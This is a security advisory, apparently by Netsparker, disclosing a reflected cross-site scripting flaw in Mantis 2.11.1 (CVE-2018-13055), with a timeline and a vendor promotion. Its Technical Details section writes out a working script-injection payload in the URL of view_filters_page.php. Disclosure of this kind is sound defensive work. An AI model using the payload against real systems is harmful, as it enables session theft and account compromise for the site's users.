Mantis 2.11.1 Cross Site Scripting

`Reflected Cross-site Scripting in Mantis 2.11.1  
  
Information  
--------------------  
  
Advisory by Netsparker  
Name: Reflected Cross-site Scripting in Mantis 2.11.1  
Affected Software: Mantis   
Affected Versions: 2.11.1  
Homepage: https://www.mantisbt.org/  
Vulnerability: Cross-site Scripting  
Severity: Medium  
Status: Fixed  
CVE-ID: CVE-2018-13055  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-18-042  
  
Technical Details  
--------------------  
  
URL: http://{domain}/{mantis_path}/view_filters_page.php/'"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>  
Parameter Name: URI-BASED  
Parameter Type: Full URL  
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
--------------------  
  
2nd July 2018- First Contact  
4th July 2018 - Vendor Fixed  
8th January 2019 - Advisory Released  
  
Credits & Authors  
--------------------  
  
These issues have been discovered by Amer AA+-tak while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
--------------------  
  
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
`